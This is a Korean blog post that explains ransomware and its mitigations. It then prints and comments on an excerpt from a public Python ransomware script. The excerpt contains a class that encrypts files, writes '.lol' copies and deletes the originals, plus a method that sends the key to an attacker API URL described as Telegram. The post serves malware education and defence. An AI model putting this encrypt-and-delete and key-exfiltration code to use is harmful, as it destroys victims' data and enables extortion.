Ransomeware

컴퓨터 시스템의 접근을 제한하는 악성 소프트웨어의 한 종류

 

 

감염 대상

대부분의 랜섬웨어는 중요한 비즈니스 정보를 타겟으로하는 경우가 많기 때문에 Microsoft Office 파일을 대상

 

 

동작 원리

1. 이메일 첨부 파일, 악성 링크, 소프트웨어 취약점 등을 통해 사용자의 컴퓨터로 침투

2. 시스템 내의 파일이나 디렉터리를 암호화. 

  • 예시) open(f"{FileName}.lol","web") as File: File.write(Encrypted)
  • 일부 랜섬웨어는 특정 파일 확장자 또는 특정 파일 유형을 대상

3. 암호화된 파일이나 디렉터리를 해독하기 위한 키를 제공해주는 조건으로 금액 요구

 

 

해결방안

1. 파일 백업 : 정기적으로 파일을 안전한 장소에 백업

2. 보안소프트웨어 사용 : 안티바이러스 및 안티랜섬웨어 소프트웨어를 설치하여 주기적으로 업데이트

3. 의심스러운 링크, 첨부파일 열람 금지

 

만약 중요 파일이 랜섬웨어에 감염되었다면 공격자의 요구에 응해주기보다는 파일 및 보안솔루션 백업을 통해 해결해나가길 권장합니다.

 

 

Ransomware 소스 코드 분석

※ 악성코드 분석 결과 발견된 위협에 대해 알려드립니다. 이 코드는 사용자의 컴퓨터 시스템에 손상을 입힐 수 있는 가능성이 있으며, 개인 정보 유출, 시스템 장애, 또는 불법적인 활동에 이용될 수 있습니다. 이러한 악성 코드로부터 안전하게 보호하려면 소프트웨어 업데이트, 안티바이러스 프로그램 사용, 신뢰할 수 있는 소스에서의 파일 다운로드 등 보안 조치를 취해야 합니다. 또한, 의심스러운 이메일 첨부 파일이나 링크를 클릭하지 않고, 불분명한 출처의 소프트웨어를 다운로드하지 않는 것이 중요합니다. 안전한 인터넷 사용을 위해 항상 주의를 기울이고, 보안에 대한 경각심을 가지는 자세가 중요합니다.

 

1. 암호화

class D_E_ncrypt(object):             

    def __init__(self, Target=0, BoxM=0, Url=0):

        self.Target     = Target       # File Path
        self.BoxM       = BoxM         # Our Box Moudle
        self.Url        = Url          # Our Api Url in my case Telegram

    def FileE(loc):                    
        print(f"FILE -> {loc.Target}")
        try:                          
            if (os.path.isdir(loc.Target) != True) :                       

                with open(loc.Target, "rb") as File:    
                        Date    = File.read()          
               
                FileName    = loc.Target                
                Encrypted   = loc.BoxM.encrypt(Date)

                if(loc.Target != sys.argv[0]):           
                    with open(f"{FileName}.lol","wb") as File: 
                        print(f"FILE -> {FileName}")    
                        File.write(Encrypted)          
                    os.remove(loc.Target)             
        except Exception as e:print(f"Error -> {e}")
    def SendKey(Key):             
        requests.get(Key.Url)
  • 파일을 읽기 모드로 오픈 후 Date변수에 저장
  • Target을 FileName변수에 삽입, Date변수를 암호화 한 후 Encrypted변수에 저장
  • FileName.lol파일을 쓰기 모드로 오픈 후 암호화된 내용을 저장하고 기존 파일은 삭제

2. 복호화

Key         = nacl.utils.random(nacl.secret.SecretBox.KEY_SIZE)                       
Box         = nacl.secret.SecretBox(Key)                                             

decrypted_data = Box.decrypt(Encrypted)
print(f"Decrypted data: {decrypted_data}")
  • nacl.secret.SecretBox에 키를 넣어 Box변수에 저장
  • Encrypted변수를 복호화하여 decrypted_data변수에 저장하여 출력

 

 


Ransomeware 소스 코드 

https://github.com/cy4nguy/Python-Ransomware/blob/master/Ransomware.py#L45

'악성코드 > virus' 카테고리의 다른 글

ILOVEYOU, Love Letter Virus  (1) 2023.12.07

+ Recent posts